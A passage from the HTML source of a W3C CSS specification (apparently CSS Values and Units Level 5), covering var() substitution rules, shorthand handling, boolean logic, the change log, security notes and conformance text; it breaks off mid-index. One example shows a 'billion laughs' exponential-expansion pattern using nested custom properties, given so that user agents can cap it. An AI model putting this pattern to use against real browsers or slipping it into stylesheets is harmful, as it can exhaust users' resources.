data-link-type="biblio" href="#biblio-css-syntax-3" title="CSS Syntax Module Level 3">[css-syntax-3]</a>, not at a textual level; you can’t build up a single token where part of it is provided by a variable: <pre class="highlight">.foo <c- p>{</c-> <c- k>--gap</c-><c- p>:</c-> <c- m>20</c-><c- p>;</c-> <c- k>margin-top</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--gap<c- p>)</c->px<c- p>;</c-> <c- p>}</c-> </pre> This is not equivalent to setting <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/box.html#propdef-margin-top" id="ref-for-propdef-margin-top①">margin-top: 20px;</a> (a length). Instead, it’s equivalent to margin-top: 20 px; (a number followed by an ident), which is simply an invalid value for the margin-top property. Note, though, that <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc⑧">calc()</a> can be used to validly achieve the same thing, like so: <pre class="highlight">.foo <c- p>{</c-> <c- k>--gap</c-><c- p>:</c-> <c- m>20</c-><c- p>;</c-> <c- k>margin-top</c-><c- p>:</c-> <c- nf>calc</c-><c- p>(</c-><c- nf>var</c-><c- p>(</c->--gap<c- p>)</c-> * <c- m>1</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> This also implies that the post-substitution value might not be directly serializable as-is. Here’s a similar example to the preceding: <pre class="highlight">.foo <c- p>{</c-> <c- k>--gap</c-><c- p>:</c-> <c- m>20</c-><c- p>;</c-> <c- k>--not-px-length</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--gap<c- p>)</c->px<c- p>;</c-> <c- p>}</c-> </pre> The serialization of the computed (post-substitution) value of --not-px-length is not 20px, because that would parse back as the single combined dimension; instead, it will serialize with a comment between the two tokens, like px, to enforce that they are separate tokens even when re-parsing. </div> <h3 class="heading settled" id="invalid-substitution"> Invalid Substitution<a class="self-link" href="#invalid-substitution"></a></h3> When <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function⑦">substitution</a> results in a property’s value containing the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①⑤">guaranteed-invalid value</a>, this makes the declaration <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="invalid-at-computed-value-time">invalid at computed-value time</dfn>. When this happens, the computed value is one of the following depending on the property’s type: <dl class="switch"> <dt data-md>The property is a non-registered <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property⑨">custom property</a> <dt data-md>The property is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property⑤">registered custom property</a> with <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#universal-syntax-definition" id="ref-for-universal-syntax-definition①">universal syntax</a> <dd data-md> The computed value is the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①⑥">guaranteed-invalid value</a>. <dt data-md>Otherwise <dd data-md> Either the property’s inherited value or its initial value depending on whether the property is inherited or not, respectively, as if the property’s value had been specified as the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-cascade-5/#valdef-all-unset" id="ref-for-valdef-all-unset①">unset</a> keyword. </dl> <div class="example" id="example-53e4f9d5"> <a class="self-link" href="#example-53e4f9d5"></a> For example, in the following code: <pre class="highlight">:root <c- p>{</c-> <c- k>--not-a-color</c-><c- p>:</c-> <c- m>20</c-><c- k>px</c-><c- p>;</c-> <c- p>}</c-> p <c- p>{</c-> <c- k>background-color</c-><c- p>:</c-> red<c- p>;</c-> <c- p>}</c-> p <c- p>{</c-> <c- k>background-color</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--not-a-color<c- p>);</c-> <c- p>}</c-> </pre> the elements will have transparent backgrounds (the initial value for <a class="property css" data-link-type="property" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-color" id="ref-for-propdef-background-color②">background-color</a>), rather than red backgrounds. The same would happen if the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property①⓪">custom property</a> itself was unset, or contained an invalid <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①③">var()</a> function. Note the difference between this and what happens if the author had just written <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-color" id="ref-for-propdef-background-color③">background-color: 20px</a> directly in their stylesheet - that would be a normal syntax error, which would cause the rule to be discarded, so the background-color: red rule would be used instead. </div> Note: The <a data-link-type="dfn" href="#invalid-at-computed-value-time" id="ref-for-invalid-at-computed-value-time①①">invalid at computed-value time</a> concept exists because <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⑦">arbitrary substitution functions</a> can’t "fail early" like other syntax errors can, so by the time the user agent realizes a property value is invalid, it’s already thrown away the other cascaded values. <h3 class="heading settled" id="substitution-in-shorthands"> Substitution in Shorthand Properties<a class="self-link" href="#substitution-in-shorthands"></a></h3> <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⑧">Arbitrary substitution functions</a> produce some complications when parsing <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1②">shorthand properties</a> into their component longhands, and when serializing shorthand properties from their component longhands. If a <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1④">shorthand property</a> contains an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function①⑨">arbitrary substitution function</a> in its value, the <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#longhand" id="ref-for-longhand">longhand properties</a> it’s associated with must instead be filled in with a special, unobservable-to-authors <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="pending-substitution-value">pending-substitution value</dfn> that indicates the shorthand contains an arbitrary substitution function, and thus the longhand’s value can’t be determined until after <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function⑧">substituted</a>. This value must then be cascaded as normal, and at computed-value time, after <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function⑨">substitution</a>, the shorthand must be parsed and the longhands must be given their appropriate values at that point. Note: When a shorthand is written without an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②①">arbitrary substitution function</a>, it is parsed and separated out into its component <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#longhand" id="ref-for-longhand①">longhand properties</a> at parse time; the longhands then participate in the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#x12" id="ref-for-x12①">cascade</a>, with the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1⑤">shorthand property</a> more or less discarded. When the shorthand contains a <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①④">var()</a>, however, this can’t be done, as the var() could be substituted with anything. <a data-link-type="dfn" href="#pending-substitution-value" id="ref-for-pending-substitution-value">Pending-substitution values</a> must be serialized as the empty string, if an API allows them to be observed. <hr> <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1⑥">Shorthand properties</a> are serialized by gathering the values of their component <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#longhand" id="ref-for-longhand②">longhand properties</a>, and synthesizing a value that will parse into the same set of values. If all of the component <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#longhand" id="ref-for-longhand③">longhand properties</a> for a given <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#shorthand-property" id="ref-for-shorthand-property①">shorthand</a> are <a data-link-type="dfn" href="#pending-substitution-value" id="ref-for-pending-substitution-value①">pending-substitution values</a> from the same original shorthand value, the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1⑦">shorthand property</a> must serialize to that original (<a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②②">arbitrary substitution function</a>-containing) value. Otherwise, if any of the component <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#longhand" id="ref-for-longhand④">longhand properties</a> for a given <a data-link-type="dfn" href="https://www.w3.org/TR/css-cascade-5/#shorthand-property" id="ref-for-shorthand-property②">shorthand</a> are <a data-link-type="dfn" href="#pending-substitution-value" id="ref-for-pending-substitution-value②">pending-substitution values</a>, or contain <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②③">arbitrary substitution functions</a> of their own that have not yet been <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function①⓪">substituted</a>, the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/about.html#x1" id="ref-for-x1⑧">shorthand property</a> must serialize to the empty string. <h3 class="heading settled" id="long-substitution"> Safely Handling Overly-Long Substitution<a class="self-link" href="#long-substitution"></a></h3> Naively implemented, some <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②④">arbitrary substitution functions</a> (such as <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①⑥">var()</a>) can be used in a variation of the "billion laughs attack": <div class="example" id="example-9c9258de"> <a class="self-link" href="#example-9c9258de"></a> <pre class="highlight" lang="css">.foo <c- p>{</c-> <c- k>--prop1</c-><c- p>:</c-> lol<c- p>;</c-> <c- k>--prop2</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--prop1<c- p>)</c-> <c- nf>var</c-><c- p>(</c->--prop1<c- p>);</c-> <c- k>--prop3</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--prop2<c- p>)</c-> <c- nf>var</c-><c- p>(</c->--prop2<c- p>);</c-> <c- k>--prop4</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--prop3<c- p>)</c-> <c- nf>var</c-><c- p>(</c->--prop3<c- p>);</c-> <c- c>/* etc */</c-> <c- p>}</c-> </pre> In this short example, --prop4’s computed value is lol lol lol lol lol lol lol lol, containing 8 copies of the original lol. Every additional level added to this doubles the number of identifiers; extending it to a mere 30 levels, the work of a few minutes by hand, would make --prop30 contain nearly a billion instances of the identifier. </div> To avoid this sort of attack, UAs must impose a UA-defined limit on the allowed length of the token stream that an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②⑤">arbitrary substitution function</a> expands into. If an arbitrary substitution function would expand into a longer token stream than this limit, it instead is replaced with the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①⑦">guaranteed-invalid value</a>. This specification does not define what size limit should be imposed. However, since there are valid use-cases for custom properties that contain a kilobyte or more of text, it’s recommended that the limit be set relatively high. Note: The general principle that UAs are allowed to violate standards due to resource constraints is still generally true here; a UA might, separately, have limits on how long of a custom property they can support, or how large of an identifier they can support. This section calls out this attack specifically because of its long history, and the fact that it can be done without any of the pieces seeming to be too large on first inspection. <h2 class="heading settled" id="boolean-logic"> Appendix B: Boolean Logic<a class="self-link" href="#boolean-logic"></a></h2> In order to accommodate future extensions of CSS, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr①⓪"><boolean-expr[]></a> productions generally interpret their <a class="production css" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-general-enclosed" id="ref-for-typedef-general-enclosed②"><general-enclosed></a> grammar branch as unknown, and their boolean logic is resolved using 3-value Kleene logic. In some cases (such as <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports" id="ref-for-at-ruledef-supports③">@supports</a>), <general-enclosed> is instead defined as false; in which case the logic devolves to standard boolean algebra. 3-value boolean logic is applied recursively to a boolean condition <var>test</var> as follows: <ul> <li data-md> A leaf-level <var>test</var> resolves to true, false, or unknown, as defined by the relevant specification. <li data-md> not <var>test</var> evaluates to true if its contained <var>test</var> is false, false if it’s true, and unknown if it’s unknown. <li data-md> Multiple <var>test</var>s connected with and evaluate to true if all of those <var>test</var>s are true, false if any of them are false, and unknown otherwise (i.e. if at least one unknown, but no false). <li data-md> Multiple <var>test</var>s connected with or evaluate to true if any of those <var>test</var>s are true, false if all of them are false, and unknown otherwise (i.e. at least one unknown, but no true). </ul> If a “top-level” <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr①①"><boolean-expr[]></a> is unknown, and the containing context doesn’t otherwise define how to handle unknown conditions, it evaluates to false. Note: That is, unknown doesn’t “escape” a 3-value boolean expression unless explicitly handled, similar to how <code class="highlight">NaN</code> doesn’t “escape” a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#top-level-calculation" id="ref-for-top-level-calculation">top-level calculation</a>). <h2 class="no-num heading settled" id="acknowledgments"> Acknowledgments<a class="self-link" href="#acknowledgments"></a></h2> Firstly, the editors would like to thank all of the contributors to the <a href="https://www.w3.org/TR/css-values-4/#acknowledgments">previous level</a> of this module. Secondly, we would like to acknowledge Guillaume Lebas, L. David Baron, Mike Bremford, Sebastian Zartner, and <a href="https://github.com/w3c/csswg-drafts/issues/6245">especially Scott Kellum</a> for their ideas, comments, and suggestions for Level 5; <h2 class="no-num heading settled" id="changes"> Changes<a class="self-link" href="#changes"></a></h2> Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20240917/">17 September 2024 Working Draft</a>: <ul> <li data-md> Changed the “comma-upgrading” behavior of allowing semicolons to “comma-wrapping” using braces. (<a href="https://github.com/w3c/csswg-drafts/issues/9539">Issue 9539</a>) <li data-md> Added <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if⑦">if()</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/10064">Issue 10064</a>, <a href="https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-2442787271">Issue 5009</a>) <li data-md> Added <a class="css" data-link-type="maybe" href="#funcdef-inherit" id="ref-for-funcdef-inherit④">inherit()</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/2864">Issue 2864</a>) <li data-md> Redesigned <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⑥">attr()</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/10437">Issue 10437</a>, <a href="https://github.com/w3c/csswg-drafts/issues/5092">Issue 5092</a>, <a href="https://github.com/w3c/csswg-drafts/issues/5136">Issue 5136</a>) <li data-md> Changed *progress() functions to use commas for argument separation, for consistency with *mix() and <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-clamp" id="ref-for-funcdef-clamp">clamp()</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/10489">Issue 10489</a>) <li data-md> Defined new <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr①②"><boolean-expr[]></a> multipler for the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-value-definition-syntax" id="ref-for-css-value-definition-syntax①">value definition syntax</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/10457">Issue 10457</a>) <li data-md> Imported definition of <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function②⑦">arbitrary substitution function</a> from <a data-link-type="biblio" href="#biblio-css-variables-1" title="CSS Custom Properties for Cascading Variables Module Level 1">[CSS-VARIABLES-1]</a>. (<a href="https://github.com/w3c/csswg-drafts/issues/10679">Issue 10679</a>) <li data-md> Imported the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①⑦"><syntax></a> production from <a data-link-type="biblio" href="#biblio-css-properties-values-api-1" title="CSS Properties and Values API Level 1">[css-properties-values-api-1]</a> (for use in <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⑦">attr()</a>). <li data-md> Corrected errors in the syntax of <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress⑨">media-progress()</a> and <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress⑧">container-progress()</a>. </ul> Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20240913/">First Public Working Draft</a> include: <ul> <li data-md> Incorporated the definition of <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⑧"><position></a>, extending it to handle <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#flow-relative" id="ref-for-flow-relative①">flow-relative</a> positions. (<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>) </ul> <h3 class="no-num heading settled" id="additions-L4"> Additions Since Level 4<a class="self-link" href="#additions-L4"></a></h3> Additions since <a href="http://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>: <ul> <li data-md> Added the “comma-wrapping” {} notation for function arguments. <li data-md> Defined several <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-url-modifier" id="ref-for-typedef-url-modifier①"><url-modifier></a>s for <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value⑥"><url></a> functions. <li data-md> Extended <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①⑨"><position></a> to handle <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#flow-relative" id="ref-for-flow-relative②">flow-relative</a> positions. (<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>) <li data-md> Added the <a href="#progress">*-progress()</a> family of functions, to represent interpolation progress between two values. <li data-md> Added the <a href="#mixing">*-mix()</a> family of functions, to represent actually interpolating between two values. <li data-md> Added <a class="css" data-link-type="maybe" href="#funcdef-first-valid" id="ref-for-funcdef-first-valid③">first-valid()</a>, to allow CSS’s forward-compatible parsing behavior (drop invalid things, go with what’s left) to be used with custom properties and other contexts where validity isn’t known until after parsing. <li data-md> Added <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if⑧">if()</a> for inline conditionals. <li data-md> Added <a class="css" data-link-type="maybe" href="#funcdef-inherit" id="ref-for-funcdef-inherit⑤">inherit()</a>. <li data-md> Added the <a class="css" data-link-type="maybe" href="#funcdef-toggle" id="ref-for-funcdef-toggle①⑤">toggle()</a> and <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⑧">attr()</a> functions. <li data-md> Added the <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random②①">random()</a> and <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①⑥">random-item()</a> functions. <li data-md> Added the <a class="css" data-link-type="maybe" href="#funcdef-sibling-count" id="ref-for-funcdef-sibling-count②">sibling-count()</a> and <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index⑤">sibling-index()</a> functions. <li data-md> Added the <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②⑨">calc-size()</a> function, and the related <a class="property css" data-link-type="property" href="#propdef-interpolate-size" id="ref-for-propdef-interpolate-size④">interpolate-size</a> property. <li data-md> Added the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr①③"><boolean-expr[]></a> syntax notation to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-value-definition-syntax" id="ref-for-css-value-definition-syntax②">value definition syntax</a>. </ul> <h2 class="no-num heading settled" id="security"> Security Considerations<a class="self-link" href="#security"></a></h2> This specification allows CSS <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value⑦"><url></a> values to have various aspects of their request modified. Although this is new to CSS, every ability is already present in <code><a data-link-type="element" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element" id="ref-for-the-img-element">img</a></code> or <code><a data-link-type="element" href="https://html.spec.whatwg.org/multipage/semantics.html#the-link-element" id="ref-for-the-link-element">link</a></code>, as well as via JavaScript. The <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr②⑨">attr()</a> function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See <a href="#attr-security">§ 7.7.2 Security</a>. <h2 class="no-num heading settled" id="privacy"> Privacy Considerations<a class="self-link" href="#privacy"></a></h2> This specification defines units that expose the user’s screen size and default font size, but both are trivially observable from JS, so they do not constitute a new privacy risk. Similarly the <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress①⓪">media-progress()</a> notation exposes information about the user’s environment and preferences that are already observiable via <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-query" id="ref-for-media-query⑤">media queries</a>. The <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr③⓪">attr()</a> function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See <a href="#attr-security">§ 7.7.2 Security</a>. </main> <h2 class="no-ref no-num heading settled" id="w3c-conformance"> Conformance<a class="self-link" href="#w3c-conformance"></a></h2> <h3 class="no-ref heading settled" id="w3c-conventions"> Document conventions<a class="self-link" href="#w3c-conventions"></a></h3> Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification. All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. <a data-link-type="biblio" href="#biblio-rfc2119" title="Key words for use in RFCs to Indicate Requirement Levels">[RFC2119]</a> Examples in this specification are introduced with the words “for example” or are set apart from the normative text with <code class="highlight">class=<c- s>"example"</c-></code>, like this: <div class="example" id="w3c-example"> <a class="self-link" href="#w3c-example"></a> This is an example of an informative example. </div> Informative notes begin with the word “Note” and are set apart from the normative text with <code class="highlight">class=<c- s>"note"</c-></code>, like this: Note, this is an informative note. Advisements are normative sections styled to evoke special attention and are set apart from other normative text with <code class="highlight">"advisement"</c->></code>, like this: UAs MUST provide an accessible alternative. <h3 class="no-ref heading settled" id="w3c-conformance-classes"> Conformance classes<a class="self-link" href="#w3c-conformance-classes"></a></h3> Conformance to this specification is defined for three conformance classes: <dl> <dt>style sheet <dd>A <a href="http://www.w3.org/TR/CSS21/conform.html#style-sheet">CSS style sheet</a>. <dt>renderer <dd>A <a href="http://www.w3.org/TR/CSS21/conform.html#user-agent">UA</a> that interprets the semantics of a style sheet and renders documents that use them. <dt>authoring tool <dd>A <a href="http://www.w3.org/TR/CSS21/conform.html#user-agent">UA</a> that writes a style sheet. </dl> A style sheet is conformant to this specification if all of its statements that use syntax defined in this module are valid according to the generic CSS grammar and the individual grammars of each feature defined in this module. A renderer is conformant to this specification if, in addition to interpreting the style sheet as defined by the appropriate specifications, it supports all the features defined by this specification by parsing them correctly and rendering the document accordingly. However, the inability of a UA to correctly render a document due to limitations of the device does not make the UA non-conformant. (For example, a UA is not required to render color on a monochrome monitor.) An authoring tool is conformant to this specification if it writes style sheets that are syntactically correct according to the generic CSS grammar and the individual grammars of each feature in this module, and meet all other conformance requirements of style sheets as described in this module. <h3 class="no-ref heading settled" id="w3c-partial"> Partial implementations<a class="self-link" href="#w3c-partial"></a></h3> So that authors can exploit the forward-compatible parsing rules to assign fallback values, CSS renderers must treat as invalid (and <a href="http://www.w3.org/TR/CSS21/conform.html#ignore">ignore as appropriate</a>) any at-rules, properties, property values, keywords, and other syntactic constructs for which they have no usable level of support. In particular, user agents must not selectively ignore unsupported component values and honor supported values in a single multi-value property declaration: if any value is considered invalid (as unsupported values must be), CSS requires that the entire declaration be ignored. <h4 class="heading settled" id="w3c-conform-future-proofing"> Implementations of Unstable and Proprietary Features<a class="self-link" href="#w3c-conform-future-proofing"></a></h4> To avoid clashes with future stable CSS features, the CSSWG recommends <a href="http://www.w3.org/TR/CSS/#future-proofing">following best practices</a> for the implementation of <a href="http://www.w3.org/TR/CSS/#unstable">unstable</a> features and <a href="http://www.w3.org/TR/CSS/#proprietary-extension">proprietary extensions</a> to CSS. <h3 class="no-ref heading settled" id="w3c-testing"> Non-experimental implementations<a class="self-link" href="#w3c-testing"></a></h3> Once a specification reaches the Candidate Recommendation stage, non-experimental implementations are possible, and implementors should release an unprefixed implementation of any CR-level feature they can demonstrate to be correctly implemented according to spec. To establish and maintain the interoperability of CSS across implementations, the CSS Working Group requests that non-experimental CSS renderers submit an implementation report (and, if necessary, the testcases used for that implementation report) to the W3C before releasing an unprefixed implementation of any CSS features. Testcases submitted to W3C are subject to review and correction by the CSS Working Group. Further information on submitting testcases and implementation reports can be found from on the CSS Working Group’s website at <a href="http://www.w3.org/Style/CSS/Test/">http://www.w3.org/Style/CSS/Test/</a>. Questions should be directed to the <a href="http://lists.w3.org/Archives/Public/public-css-testsuite">public-css-testsuite@w3.org</a> mailing list. <script src="https://www.w3.org/scripts/TR/2021/fixup.js"></script> <h2 class="no-num no-ref heading settled" id="index">Index<a class="self-link" href="#index"></a></h2> <h3 class="no-num no-ref heading settled" id="index-defined-here">Terms defined by this specification<a class="self-link" href="#index-defined-here"></a></h3> <ul class="index"> <li><a href="#valdef-interpolate-size-allow-keywords">allow-keywords</a>, in § 10.4 <li><a href="#valdef-progress-animation-timeline"><'animation-timeline'></a>, in § 6.1 <li><a href="#valdef-request-url-modifier-anonymous">anonymous</a>, in § 4.1.1 <li><a href="#valdef-calc-size-any">any</a>, in § 10.2 <li><a href="#apply-request-modifiers-from-url-value">apply request modifiers from URL value</a>, in § 4.1.1 <li><a href="#substitute-arbitrary-substitution-function">arbitrary substitution</a>, in § Unnumbered section <li><a href="#arbitrary-substitution-function">arbitrary substitution function</a>, in § Unnumbered section <li><a href="#funcdef-attr">attr()</a>, in § 7.7 <li><a href="#typedef-attr-name"><attr-name></a>, in § 7.7 <li><a href="#attr-taint">attr()-taint</a>, in § 7.7.2 <li><a href="#typedef-attr-type"><attr-type></a>, in § 7.7 <li><a href="#typedef-attr-unit"><attr-unit></a>, in § 7.7 <li><a href="#valdef-position-block-end">block-end</a>, in § 4.2 <li><a href="#valdef-position-block-start">block-start</a>, in § 4.2 <li><a href="#typedef-boolean-expr"><boolean-expr></a>, in § 3.2 <li><a href="#valdef-position-bottom">bottom</a>, in § 4.2 <li><a href="#typedef-calc-mix"><calc-mix()></a>, in § 6.2 <li><a href="#funcdef-calc-mix">calc-mix()</a>, in § 6.2 <li><a href="#funcdef-calc-size">calc-size()</a>, in § 10 <li><a href="#typedef-calc-size-basis"><calc-size-basis></a>, in § 10 <li><a href="#calc-size-basis">calc-size basis</a>, in § 10 <li><a href="#calc-size-calculation">calc-size calculation</a>, in § 10 <li><a href="#calculate-a-progress-function">calculate a progress function</a>, in § 5 <li><a href="#calc-size-canonicalize-for-interpolation">canonicalize for interpolation</a>, in § 10.1 <li><a href="#valdef-position-center">center</a>, in § 4.2 <li><a href="#comma-containing-productions">comma-containing productions</a>, in § 3.1.1 <li><a href="#typedef-container-progress"><container-progress()></a>, in § 5.3 <li><a href="#funcdef-container-progress">container-progress()</a>, in § 5.3 <li><a href="#funcdef-request-url-modifier-crossorigin">crossorigin()</a>, in § 4.1.1 <li><a href="#typedef-request-url-modifier-crossorigin-modifier"><crossorigin-modifier></a>, in § 4.1.1 <li><a href="#de-percentify-a-calc-size-calculation">de-percentify a calc-size calculation</a>, in § 10.1 <li><a href="#valdef-progress-easing-function"><easing-function></a>, in § 6.1 <li><a href="#valdef-if-else">else</a>, in § 7.3 <li><a href="#typedef-first-valid"><first-valid()></a>, in § 7.2 <li><a href="#funcdef-first-valid">first-valid()</a>, in § 7.2 <li><a href="#funcdef-ident">ident()</a>, in § 7.8 <li><a href="#typedef-ident-arg"><ident-arg></a>, in § 7.8 <li><a href="#typedef-if"><if()></a>, in § 7.3 <li><a href="#funcdef-if">if()</a>, in § 7.3 <li><a href="#typedef-if-condition"><if-condition></a>, in § 7.3 <li><a href="#typedef-if-test"><if-test></a>, in § 7.3 <li><a href="#typedef-inherit"><inherit()></a>, in § 7.6 <li><a href="#funcdef-inherit">inherit()</a>, in § 7.6 <li><a href="#valdef-position-inline-end">inline-end</a>, in § 4.2 <li><a href="#valdef-position-inline-start">inline-start</a>, in § 4.2 <li><a href="#funcdef-request-url-modifier-integrity">integrity()</a>, in § 4.1.1 <li><a href="#typedef-request-url-modifier-integrity-modifier"><integrity-modifier></a>, in § 4.1.1 <li><a href="#propdef-interpolate-size">interpolate-size</a>, in § 10.4 <li><a href="#typedef-intrinsic-size-keyword"><intrinsic-size-keyword></a>, in § 10 <li><a href="#invalid-at-computed-value-time">invalid at computed-value time</a>, in § Unnumbered section <li><a href="#valdef-position-left">left</a>, in § 4.2 <li><a href="#valdef-position-length-percentage"><length-percentage></a>, in § 4.2 <li><a href="#typedef-media-progress"><media-progress()></a>, in § 5.2 <li><a href="#funcdef-media-progress">media-progress()</a>, in § 5.2 <li><a href="#typedef-mix"><mix()></a>, in § 6.6 <li><a href="#funcdef-mix">mix()</a>, in § 6.6 <li><a href="#mix-end-value">mix end value</a>, in § 6 <li><a href="#mix-notations">mix notations</a>, in § 6 <li><a 